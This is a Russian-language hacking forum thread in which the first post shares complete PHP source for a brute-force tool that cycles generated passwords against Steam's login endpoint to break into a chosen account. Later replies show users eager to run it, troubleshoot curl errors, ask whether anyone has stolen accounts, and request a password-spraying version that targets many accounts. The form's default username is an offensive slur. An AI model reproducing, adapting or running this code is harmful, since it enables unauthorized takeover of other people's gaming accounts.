[PHP] Steam Account Brute Forcer

Discussion in 'Уязвимости' started by ~Real F@ck!~, 24 Feb 2008.

  1. ~Real F@ck!~

    ~Real F@ck!~ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    283
    Likes Received:
    170
    Reputations:
    -8
    Вообщем тема говорит сама за себя

    Code:
    <html>
    <body>
    <style>
    
    body {
        background-color: #2b2b2b;
        background-image: url(images/background.gif);
        font-family: Verdana, Arial, Helvetica, sans-serif;
        font-size: 12px;
        color: #B0B0B0;
    }
    .border
    {
    border: 1px solid #006699;
    background-color:#000000;
    }
    .header
    {
    background-color:#000000;
    }
    .content-background
    {
    background-color:#000000;
    }
    .text-strong
    {
    font-weight:bold;
    }
    .content-header
    {
    background-image:url(images/content-header.gif);
    }
    .content-border
    {
    border: 1px solid #006699;
    background-color:#1A1A1A;
    }
    .content-background
    {
    background-color:#000000;
    background-image:url(images/content-background.gif);
    }
    a:link {
        color: #006699;
    }
    a:visited {
        color: #006699;
    }
    a:hover {
        color: #CCCCCC;
    }
    a:active {
        color: #CCCCCC;
    }
    textarea
    {
        font-family: Verdana, Arial, Helvetica, sans-serif;
        font-size: 10px;
        color: #006699;
        background-color:#161616;
        border: #006699 1px solid;
    }
    input
    {
        font-family: Verdana, Arial, Helvetica, sans-serif;
        font-size: 10px;
        color: #006699;
        background-color:#161616;
        border: #006699 1px solid;
        }
        select
        {
        font-family: Verdana, Arial, Helvetica, sans-serif;
        font-size: 10px;
        color: #006699;
        background-color:#161616;
        border: #006699 1px solid;
        }
    </style>
    
    <?PHP
    /*************************************
    leaked
    *************************************/
    if(isset($_POST['end'])){
    
    #$user = $_POST['user'];
    #$char = $_POST['char'];
    #$start = $POST['start'];
    #$end = $_POST['end'];
    $pass = $start;
    $count = 0;
    $found = FALSE;
    
    function Login_Steam($user, $pass)
    {
    $input = post("https://steamcommunity.com/:443", "action=doLogin&steamAccountName=".$user."&steamPassword=".$pass."");
    return $input;
    }
    function input_match($source, $num, $preg, $preg1)
    {
    $parts = explode($preg, $source);
        $parts = explode($preg1, $parts[$num]);
            $var = $parts[0];
    return $parts[0];
    }
    
    function match_login($input){
    if(!input_match($input, 1, "<h2>", "<h2>"))
    {
    return "Logged in";
    }else{
    return "Login Failure";
    }
    }
    
    function post($site, $data)
    {
    $rand = rand(1, 9999);
    $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$site);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS,$data);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_REFERER, $site);  
        curl_setopt($ch, CURLOPT_COOKIEFILE, "tmp2.txt");
        curl_setopt($ch, CURLOPT_COOKIEJAR, "tmp2.txt");
            $result = curl_exec ($ch);
    return $result;  
    }
    
    function next_pass($pass,$charset,$pos=1) { // borrowed from xprog
       $offset = strlen($pass) - $pos;
       if ($offset == -1) {  //did all passwords in current length, increasing length.
          $pass{$offset+1} = substr($charset,0,1);
          $pass .= substr($charset,0,1);
       }
       else {
          $char = $pass{$offset};
          $charset_pos = strpos($charset,$char)+1;
          if ($charset_pos == strlen($charset)) {  //offset char reached end of charset, moving up one.
             $pass{$offset} = substr($charset,0,1);
             $pass = next_pass($pass,$charset,$pos+1);
          }
          else {  //incrementing offset char.
             $pass{$offset} = substr($charset,$charset_pos,1);
          }
       }
       return $pass;
    }
    
    function Full_Login($user, $pass)
    {
    $input = Login_Steam($user, $pass);
    $output = match_login($input);
    return $output;
    }
    
    
    while ($pass != $end and !$found)
    {
    if (Full_Login($user, $pass) == "Logged in")
        {
        die("<center><font face='Trebuchet MS' size=3><b>Logged in with $user $pass</b></font></center>");
        $found = TRUE;
            }else{
            echo "[~] Failed with $pass <br>";
        $pass = next_pass($pass,$char);
            }
                $count++;
        }
    if(!found)
    {
    echo "Failed to login with any of the ($count) attempts, change your charset or pass limit";
    }
    
    }else{
    echo '<center>
    <table width="33%" height="90" border="0" cellpadding="3" cellspacing="1" class="content-border" id="table3">
    <tr>
    <td class="content-background">
    <div align="center"><center><font face="Trebuchet MS" size=3>
        <b>Priv8 Steam BruteForcer [Mad-Hatter]</b>
    </font>
    </center>
    <br>
    <font face="Trebuchet MS" size=2 color=#006699>
    <hr>
    <form method="POST" action="'.$_SERVER['PHP_SELF'].'">
    Username: <input type="text" name="user" value="Fag2Rape"><br>
    Charset:  <select name="char">
            <option value="0123456789">0-9</option>
            <option value="abcdefghijklmnopqrstuvwxyz">a-z</option>
            <option value="ABCDEFGHIJKLMNOPQRSTUVWXYZ">A-Z</option>
            <option value="!@#$%^&*></\[])(~`+-_=">[Misc Symbols ! - =]</option>
            <option value="0123456789abcdefghijklmnopqrstuvwxyz">0-9 + a-z</option>
            <option value="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ">0-9 + A-Z</option>
            <option value="0123456789!@#$%^&*></\[])(~`+-_=">0-9 + Symbol</option>
            <option value="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ">a-z + A-Z</option>
            <option value="abcdefghijklmnopqrstuvwxyz!@#$%^&*></\[])(~`+-_=">a-z + Symbol</option>
            <option value="ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*></\[])(~`+-_=">A-Z + Symbol</option>
            <option value="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*></\[])(~`+-_=">a-z + A-Z + Symbol</option>
            </select>
    <br>
    Start:    <input type="text" name="start" value="0"><br>
    End:       <input type="text" name="end" value="ZZZZZZZZ"><br>
    <input type="submit" name="submit" value="Brute!">';
    $user = $_POST['user'];
    $char = $_POST['char'];
    $start = $_POST['start'];
    $end = $_POST['end'];
    }
    ?>
    </body>
    </html>
     
    4 people like this.
  2. TrypoED

    TrypoED Banned

    Joined:
    22 Apr 2007
    Messages:
    145
    Likes Received:
    106
    Reputations:
    -85
    Хм... Брут полезный ) Сейчас заюзаем...
     
    4 people like this.
  3. XaCeRoC

    XaCeRoC Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    62
    Likes Received:
    23
    Reputations:
    -12
    Скажите брут ещё актуален??
     
  4. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    XaCeRoC, посмотри на дату создания поста и ответь себе сам
     
  5. XaCeRoC

    XaCeRoC Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    62
    Likes Received:
    23
    Reputations:
    -12
    Isis спс понял , просто бывает через пару дней уже не работают.
     
    #5 XaCeRoC, 26 Feb 2008
    Last edited: 26 Feb 2008
  6. Don1=2

    Don1=2 Member

    Joined:
    10 Sep 2007
    Messages:
    0
    Likes Received:
    51
    Reputations:
    -19
    а проверить никак?
     
    1 person likes this.
  7. SNAIPER ShoT

    SNAIPER ShoT Elder - Старейшина

    Joined:
    24 Jun 2007
    Messages:
    48
    Likes Received:
    3
    Reputations:
    0
    Сорь за глупую просьбу =( но не мог бы кто нить скомпилить и скинуть уже готовые... а то у мну не получается =(
     
    1 person likes this.
  8. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    ога, сконпелируйте плз кто-нить. поставлю +
     
  9. NFM

    NFM Reservists Of Antichat

    Joined:
    16 Jan 2006
    Messages:
    308
    Likes Received:
    191
    Reputations:
    22
    оно вообще то на php ставь на сервак и юзай
     
  10. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    замени _POST на argv и юзай php2exe, проблема йопт)
     
    _________________________
  11. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    html не конпелируется :confused:
     
  12. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    бгг, а зачем тебе html? для красивого вывода?) сделай чтоб всё в конце сохранялось в html файл если так хочешь)
     
    _________________________
  13. fire64

    fire64 Elder - Старейшина

    Joined:
    1 Apr 2008
    Messages:
    251
    Likes Received:
    22
    Reputations:
    5
    у кого-нибудь получилось сбрутить аккаунт ?
     
  14. Worm62

    Worm62 Banned

    Joined:
    8 Nov 2007
    Messages:
    36
    Likes Received:
    39
    Reputations:
    1
    Fatal error: Call to undefined function: curl_init() in /home/tu1.ru/m/ma/madbadjack/htdocs/www/1.php on line 120

    пишет
     
  15. KyCT

    KyCT New Member

    Joined:
    10 Feb 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    у менф работало раньше, теперь пишет тоже самое...
     
  16. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    курл подключите
     
  17. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    А есть ли брутер к Steam немного другого типа. Т.е. не один акк брутишь на разные пассы, а допустим 1000 акков брутишь на один пароль? :p
     
  18. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Ну что нету таковых ?
     
  19. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Видимо нету, но зато можно немного переписать уже существующий брутер ;)
     
  20. k0lbasa

    k0lbasa Elder - Старейшина

    Joined:
    25 May 2008
    Messages:
    189
    Likes Received:
    131
    Reputations:
    -9
    кому-нибудь удавалось снять акки?